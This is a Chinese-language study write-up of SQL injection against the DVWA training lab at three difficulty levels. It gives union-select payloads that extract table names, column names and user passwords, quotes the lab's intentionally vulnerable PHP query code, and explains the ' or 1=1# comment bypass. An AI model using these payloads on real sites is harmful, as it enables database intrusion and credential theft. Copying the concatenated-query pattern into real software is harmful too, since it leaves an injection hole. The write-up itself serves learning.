学习目的
借此机会学习一下多种类型的sql注入
low
话不多说 直接上图 随便获取一些信息
直接获取数据库名
order by 3 就不行了 该数据表的字段为2
1' union select 1,table_name from information_schema.tables where table_schema=database()#
查询表名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#
最后爆了他的老巢 users
1' union select group_concat(user),group_concat(password) from users#
成功!
====================================================================
medium
可以看到 当切换为medium难度时 变成了下图这样
虽然说不能在框框里输入了 但是这并不影响
用bp简单抓一下包就可以发现 在id处可以直接更改 但改了之后发现过不了了
应该是源码把sql语句进行了转义
偷偷瞄一眼源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
发现注入时只要不加 ‘ 之类的 和low级别一样
High
这时候发现
用 1’ or ‘1’ = '1 不再可以
而用 1’ or 1 = 1# 仍然可以
这是为什么呢
翻了下源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
发现多加了一个 LIMIT 1
也就是说 前面要是查询了1 后面就不会执行注入的语句了
但是 #可以把后面的全部注释掉 终于发现#的强大之处了!!!